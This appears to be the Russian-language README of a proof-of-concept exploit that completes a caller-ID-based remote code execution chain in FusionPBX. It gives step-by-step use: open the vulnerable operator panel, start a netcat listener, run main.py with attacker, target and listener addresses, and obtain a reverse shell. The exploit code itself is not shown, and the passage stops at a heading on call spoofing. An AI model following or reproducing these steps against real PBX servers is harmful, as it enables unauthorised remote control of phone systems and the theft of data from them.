Прелюдия

Этот простой код пытается завершить реализацию цепочки уязвимостей, представленной Дастином Коббом в статье RCE через Caller ID – множественные уязвимости в FusionPBX.

RCE

Шаги воспроизведения

1. Откройте уязвимый экран оператора в веб-браузере, расположенный в данном примере по адресу https://{fusionpbx_address}/app/operator_panel/index.php
2. Запустите netcat слушатель на удалённой системе (rce_listener_address).x`
3. Запустите код эксплойта ниже на удалённой системе в другом окне терминала python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. Эксплойт подключится к netcat-слушателю и предоставит обратную оболочку (reverse shell)

Подмена вызова